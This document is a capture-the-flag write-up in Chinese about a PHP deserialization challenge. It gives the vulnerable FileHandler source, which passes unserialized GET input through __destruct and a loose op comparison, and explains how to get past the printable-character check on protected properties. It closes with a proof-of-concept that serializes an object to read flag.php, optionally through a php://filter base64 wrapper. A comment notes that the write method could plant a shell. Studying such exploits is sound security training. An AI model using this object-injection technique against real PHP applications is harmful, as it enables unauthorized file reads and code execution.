include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
//根据op值处理
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
//进行文件写入
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
//可以考虑read读取flag。好像上面的write也可以写shell。先尝试能不能直接读取
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
//op强等于“2”设置op等于“1”
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
//判断是否为可见字符
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。
在反序列化的过程中,调用__destruct析构方法
析构方法判断为强等于。可以考虑绕过
有一个需要注意的地方是,op, filename, content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
简单的一种绕过方法是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
POC:
class FileHandler {
public $op = 2;
public $filename = "flag.php";
// 或者 public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo($b);